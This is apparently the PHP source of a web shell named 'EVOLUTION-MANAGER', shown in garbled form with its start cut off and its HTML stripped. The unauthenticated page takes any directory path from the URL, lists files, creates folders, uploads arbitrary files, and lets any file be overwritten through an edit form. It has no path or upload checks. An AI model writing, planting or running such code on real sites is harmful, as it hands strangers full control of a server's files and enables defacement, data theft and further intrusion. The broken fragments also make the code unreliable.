EVOLUTION-MANAGER

$pat) { if ($pat == '' && $id == 0) { $breadcrumbs[] = '/'; continue; } if ($pat == '') continue; $breadcrumbs[] = '/'; } return implode('', $breadcrumbs); } // Function to display file or folder in the directory function display_directory_contents($path) { $contents = scandir($path); $folders = []; $files = []; foreach ($contents as $item) { if ($item == '.' || $item == '..') continue; $full_path = $path . '/' . $item; if (is_dir($full_path)) { $folders[] = '
  • Folder: ' . $item . '
  • '; } else { $file_size = filesize($full_path); // Get file size $size_unit = ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB']; $file_size_formatted = $file_size ? round($file_size / pow(1024, ($i = floor(log($file_size, 1024)))), 2) . ' ' . $size_unit[$i] : '0 B'; // Format file size $files[] = '
  • File: ' . $item . ' (' . $file_size_formatted . ')
  • '; // Display file size } } // Display folder and file list with separator line echo ''; } // Function to create a new folder function create_folder($path, $folder_name) { $folder_name = clean_input($folder_name); $new_folder_path = $path . '/' . $folder_name; if (!file_exists($new_folder_path)) { mkdir($new_folder_path); echo "Folder '$folder_name' created successfully!"; } else { echo "Folder '$folder_name' already exists!"; } } // Function to upload a new file function upload_file($path, $file_to_upload) { $target_directory = $path . '/'; $target_file = $target_directory . basename($file_to_upload['name']); $uploadOk = 1; // File upload process if (move_uploaded_file($file_to_upload['tmp_name'], $target_file)) { echo "File ". htmlspecialchars(basename($file_to_upload['name'])). " uploaded successfully."; } else { echo "Sorry, there was an error uploading your file."; } } // Function to display and edit file content function edit_file($file_path) { if ($_SERVER['REQUEST_METHOD'] === 'POST') { $content = $_POST['file_content']; if (file_put_contents($file_path, $content) !== false) { echo "File saved successfully."; } else { echo "There was an error while saving the file."; } } $content = file_get_contents($file_path); echo '
    '; echo '
    '; echo ''; echo '
    '; } // Main program if (isset($_GET['path'])) { $path = $_GET['path']; } else { $path = getcwd(); } if (isset($_GET['action'])) { $action = $_GET['action']; switch ($action) { case 'edit': if (isset($_GET['file'])) { $file = $_GET['file']; $file_path = $path . '/' . $file; if (file_exists($file_path)) { echo '

    Edit File: ' . $file . '

    '; edit_file($file_path); } else { echo "File not found."; } } else { echo "Invalid file."; } break; default: echo "Invalid action."; } } else { echo "

    Directory: " . $path . "

    "; echo "

    " . navigate_directory($path) . "

    "; echo "

    Directory Contents:

    "; display_directory_contents($path); echo '
    '; // Separator line echo '

    Create New Folder:

    '; echo '
    '; echo 'New Folder Name: '; echo ''; echo '
    '; echo '

    Upload New File:

    '; echo '
    '; echo 'Select file to upload: '; echo ''; echo '
    '; } // Handle request to create a new folder if(isset($_POST['create_folder'])) { create_folder($path, $_POST['folder_name']); } // Handle request to upload a new file if(isset($_POST['upload_file'])) { upload_file($path, $_FILES['file_to_upload']); } ?>